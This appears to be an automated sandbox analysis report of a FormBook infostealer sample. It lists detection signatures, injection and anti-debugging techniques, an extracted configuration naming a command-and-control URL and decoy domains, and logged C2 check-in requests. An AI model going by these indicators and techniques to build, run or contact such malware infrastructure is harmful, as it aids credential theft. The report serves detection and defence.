Windows Analysis Report ff0231.exe

Overview

General Information

Sample Name: ff0231.exe
Analysis ID: 528603
MD5: b2bdb06e477be0fc87f7bbd744ff7d38
SHA1: 521e91257dfee2420e66af761f8ef631611a8149
SHA256: 3e1840a0f24371b46b7e196c6c04cba6f218c1989edd4d0eadc540e0b4ef17f7
Tags: exeFormbook
Infos:

Most interesting Screenshot:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
System process connects to network (likely due to code injection or exploit)
Antivirus detection for dropped file
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments
Self deletion via cmd delete
Injects a PE file into a foreign processes
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Sigma detected: Suspicious Rundll32 Without Any CommandLine Params
Uses 32bit PE files
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
AV process strings found (often used to terminate AV products)
Found inlined nop instructions (likely shell or obfuscated code)
Sample file is different than original file name gathered from version info
Drops PE files
Contains functionality to read the PEB
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality for read data from the clipboard

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000003.00000002.730860084.0000000000400000.00000040.00000001.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.prometaly.fr/fh3c/"], "decoy": ["victormatoso.com", "stylecolabpreloved.com", "kylur.top", "federal-funds-deposit.com", "metahairstylist.com", "paynow.gmbh", "vivx.us", "awsul.online", "viuhealth.com", "sputnikenglish.com", "metafacebookapp.com", "teslasmartglasses.com", "returns-fedex.com", "dziekanator.com", "pretshellsbakery.com", "vapplebus.com", "kitan.guru", "amazonexpertsindia.com", "teslaislandboys.com", "metasomeone.com", "nasca.us", "rivianhawaii.com", "sportfacebook.site", "twopairsandaspare.com", "poeqwemuschase.com", "favorinfortworth.com", "auco.us", "usnikeshoesbot.top", "onzo.fr", "taokshopper.us", "alexa-score.com", "bass.ooo", "coca-colameta.com", "evchargeoracle.com", "facebook-meta.net", "thatsgoud.com", "comptesgratuit.fr", "arch-hairsalon.com", "heavycutshairstyling.com", "thecrazycornershop.com", "ladiesfirstmc.net", "schuette.tech", "kujira.us", "porscheofac.com", "chasesecurobanking.com", "bell-ca-ref441.ca", "metarbc.com", "meta-facebook.life", "bolt.my.id", "firsttimehomebuyersmanual.com", "loti.net.co", "balea.us", "futureswirl.com", "aolsearch.us", "lafabrique-souvenirs-france.com", "nuerburgring.us", "paypal-payment.cc", "gatieau.biz", "meta-is-facebook.com", "meta-vision.us", "woodwork.sbs", "scottdunn.online", "bestblondehairstylist.com", "rugdlz.fr"]}
Multi AV Scanner detection for submitted file
Source: ff0231.exe Virustotal: Detection: 33% Perma Link
Yara detected FormBook
Source: Yara match File source: 0.2.ff0231.exe.2920000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.ff0231.exe.2920000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.ff0231.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.ff0231.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000000.706889621.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.730860084.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1195175405.00000000031A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000001.676423875.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.675874776.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.731603632.0000000000D00000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1194078465.0000000000D80000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.731581465.0000000000CD0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.679018154.0000000002920000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1195210641.00000000031D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.720796020.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.674213587.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\nsoCFAB.tmp\xavjqrgsngv.dll Avira: detection malicious, Label: HEUR/AGEN.1134255
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\nsoCFAB.tmp\xavjqrgsngv.dll Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 3.0.ff0231.exe.400000.3.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.0.ff0231.exe.400000.1.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 0.2.ff0231.exe.2920000.1.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 16.0.explorer.exe.744f840.0.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 9.2.rundll32.exe.3434480.1.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 9.2.rundll32.exe.550f840.4.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 3.1.ff0231.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.2.ff0231.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.0.ff0231.exe.400000.0.unpack Avira: Label: TR/Patched.Ren.Gen2
Source: 16.0.explorer.exe.744f840.3.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 3.0.ff0231.exe.400000.2.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

barindex
Uses 32bit PE files
Source: ff0231.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Source: Binary string: wntdll.pdbUGP source: ff0231.exe, 00000000.00000003.671729748.0000000002AF0000.00000004.00000001.sdmp, ff0231.exe, 00000000.00000003.672459058.0000000002960000.00000004.00000001.sdmp, ff0231.exe, 00000003.00000002.731062351.0000000000990000.00000040.00000001.sdmp, ff0231.exe, 00000003.00000002.731312035.0000000000AAF000.00000040.00000001.sdmp, rundll32.exe, 00000009.00000002.1196453197.00000000050FF000.00000040.00000001.sdmp, rundll32.exe, 00000009.00000002.1196239529.0000000004FE0000.00000040.00000001.sdmp
Source: Binary string: wntdll.pdb source: ff0231.exe, ff0231.exe, 00000003.00000002.731062351.0000000000990000.00000040.00000001.sdmp, ff0231.exe, 00000003.00000002.731312035.0000000000AAF000.00000040.00000001.sdmp, rundll32.exe, rundll32.exe, 00000009.00000002.1196453197.00000000050FF000.00000040.00000001.sdmp, rundll32.exe, 00000009.00000002.1196239529.0000000004FE0000.00000040.00000001.sdmp
Source: Binary string: rundll32.pdb source: ff0231.exe, 00000003.00000002.731688712.0000000000D90000.00000040.00020000.sdmp
Source: Binary string: rundll32.pdbGCTL source: ff0231.exe, 00000003.00000002.731688712.0000000000D90000.00000040.00020000.sdmp
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_00405250 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA, 0_2_00405250
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_00405C22 FindFirstFileA,FindClose, 0_2_00405C22
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_00402630 FindFirstFileA, 0_2_00402630

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\ff0231.exe Code function: 4x nop then pop edi 3_2_0040E466
Source: C:\Users\user\Desktop\ff0231.exe Code function: 4x nop then pop edi 3_1_0040E466
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 4x nop then pop edi 9_2_00D8E466

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49835 -> 185.53.178.54:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49835 -> 185.53.178.54:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49835 -> 185.53.178.54:80
Source: Traffic Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49857 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49857 -> 34.102.136.180:80
Source: Traffic Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49857 -> 34.102.136.180:80
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 5.9.96.94 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 142.250.203.115 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.teslaislandboys.com
Source: C:\Windows\explorer.exe Network Connect: 15.197.142.173 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.schuette.tech
Source: C:\Windows\explorer.exe Domain query: www.meta-facebook.life
Source: C:\Windows\explorer.exe Domain query: www.facebook-meta.net
Source: C:\Windows\explorer.exe Network Connect: 185.53.178.54 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.comptesgratuit.fr
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.evchargeoracle.com
Source: C:\Windows\explorer.exe Domain query: www.chasesecurobanking.com
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.prometaly.fr/fh3c/
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View ASN Name: TEAMINTERNET-ASDE TEAMINTERNET-ASDE
Source: Joe Sandbox View ASN Name: TANDEMUS TANDEMUS
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /fh3c/?7nhH=Hxl0d2MH-t9Hyv&z0GdXd=ygpAwtep7WxWCgU1n5iY5amVcELu0tSIdE/9Y9Jyy4nkdNu97XXXbghTbpjnrxNYSyQT HTTP/1.1Host: www.comptesgratuit.frConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /fh3c/?z0GdXd=TEDmW6iEX7An5lAq1gB0cQiS4L3buUHqtO3o3qqMncoo4GVsMboScKfxnSemig/wshnV&7nhH=Hxl0d2MH-t9Hyv HTTP/1.1Host: www.evchargeoracle.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /fh3c/?7nhH=Hxl0d2MH-t9Hyv&z0GdXd=tXPHdmDKONGhRVqCA0IZHOyO0PTL+BRkpbdAk/iYV8rKicqHrA4rokXZ0wK7+ll/WvZA HTTP/1.1Host: www.meta-facebook.lifeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /fh3c/?z0GdXd=N2vEI1OX7w/3udy+ydCYc971PZER2FJlK1gZL6lMnGSu15qwd848spLio4s8j+VNLmhX&7nhH=Hxl0d2MH-t9Hyv HTTP/1.1Host: www.schuette.techConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /fh3c/?7nhH=Hxl0d2MH-t9Hyv&z0GdXd=n2wKPxZ8pCyDi97rnXro6S5Jba3+KYmZJcqoataOVa/Ib+/xmeU19xREWNmNK15lIZxN HTTP/1.1Host: www.teslaislandboys.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /fh3c/?z0GdXd=WoHcE9GCxXT7wUBgkc+2l4Z3+m1n5nn1xCnIHBmko3viCo3Igm4+Oh54SxcB0NGJBR7p&7nhH=Hxl0d2MH-t9Hyv HTTP/1.1Host: www.facebook-meta.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.53.178.54 185.53.178.54
Source: Joe Sandbox View IP Address: 15.197.142.173 15.197.142.173
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 25 Nov 2021 13:52:25 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Thu, 25 Nov 2021 13:52:50 GMTContent-Type: text/htmlContent-Length: 275ETag: "618be74a-113"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Thu, 25 Nov 2021 13:53:10 GMTContent-Type: text/htmlContent-Length: 275ETag: "6192576d-113"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 25 Nov 2021 13:53:31 GMTContent-Type: text/htmlContent-Length: 162Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: awselb/2.0Date: Thu, 25 Nov 2021 13:54:13 GMTContent-Type: text/htmlContent-Length: 118Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: rundll32.exe, 00000009.00000002.1196803684.00000000059FF000.00000004.00020000.sdmp String found in binary or memory: http://cirn.one
Source: explorer.exe, 00000010.00000003.865574906.00000000062B2000.00000004.00000001.sdmp, explorer.exe, 00000010.00000003.837006257.00000000062B2000.00000004.00000001.sdmp, explorer.exe, 00000010.00000003.835362467.00000000062B2000.00000004.00000001.sdmp, explorer.exe, 00000010.00000003.835158670.00000000062B2000.00000004.00000001.sdmp, explorer.exe, 00000010.00000000.880662888.00000000062B2000.00000004.00000001.sdmp, explorer.exe, 00000010.00000003.834998089.00000000062B2000.00000004.00000001.sdmp, explorer.exe, 00000010.00000000.836821710.00000000062B2000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: ff0231.exe String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: ff0231.exe String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: unknown DNS traffic detected: queries for: www.comptesgratuit.fr
Source: global traffic HTTP traffic detected: GET /fh3c/?7nhH=Hxl0d2MH-t9Hyv&z0GdXd=ygpAwtep7WxWCgU1n5iY5amVcELu0tSIdE/9Y9Jyy4nkdNu97XXXbghTbpjnrxNYSyQT HTTP/1.1Host: www.comptesgratuit.frConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /fh3c/?z0GdXd=TEDmW6iEX7An5lAq1gB0cQiS4L3buUHqtO3o3qqMncoo4GVsMboScKfxnSemig/wshnV&7nhH=Hxl0d2MH-t9Hyv HTTP/1.1Host: www.evchargeoracle.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /fh3c/?7nhH=Hxl0d2MH-t9Hyv&z0GdXd=tXPHdmDKONGhRVqCA0IZHOyO0PTL+BRkpbdAk/iYV8rKicqHrA4rokXZ0wK7+ll/WvZA HTTP/1.1Host: www.meta-facebook.lifeConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /fh3c/?z0GdXd=N2vEI1OX7w/3udy+ydCYc971PZER2FJlK1gZL6lMnGSu15qwd848spLio4s8j+VNLmhX&7nhH=Hxl0d2MH-t9Hyv HTTP/1.1Host: www.schuette.techConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /fh3c/?7nhH=Hxl0d2MH-t9Hyv&z0GdXd=n2wKPxZ8pCyDi97rnXro6S5Jba3+KYmZJcqoataOVa/Ib+/xmeU19xREWNmNK15lIZxN HTTP/1.1Host: www.teslaislandboys.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /fh3c/?z0GdXd=WoHcE9GCxXT7wUBgkc+2l4Z3+m1n5nn1xCnIHBmko3viCo3Igm4+Oh54SxcB0NGJBR7p&7nhH=Hxl0d2MH-t9Hyv HTTP/1.1Host: www.facebook-meta.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Creates a DirectInput object (often for capturing keystrokes)
Source: ff0231.exe, 00000000.00000002.677059858.00000000006FA000.00000004.00000020.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_00404E07 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard, 0_2_00404E07

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 0.2.ff0231.exe.2920000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.ff0231.exe.2920000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.ff0231.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.ff0231.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.ff0231.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000000.706889621.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.730860084.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1195175405.00000000031A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000001.676423875.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.675874776.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.731603632.0000000000D00000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1194078465.0000000000D80000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.731581465.0000000000CD0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.679018154.0000000002920000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1195210641.00000000031D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.720796020.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.674213587.0000000000400000.00000040.00000001.sdmp, type: MEMORY

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 0.2.ff0231.exe.2920000.1.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.ff0231.exe.2920000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.ff0231.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.ff0231.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.ff0231.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.ff0231.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.ff0231.exe.2920000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.ff0231.exe.2920000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.ff0231.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.ff0231.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.1.ff0231.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.1.ff0231.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.ff0231.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.ff0231.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.1.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.1.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
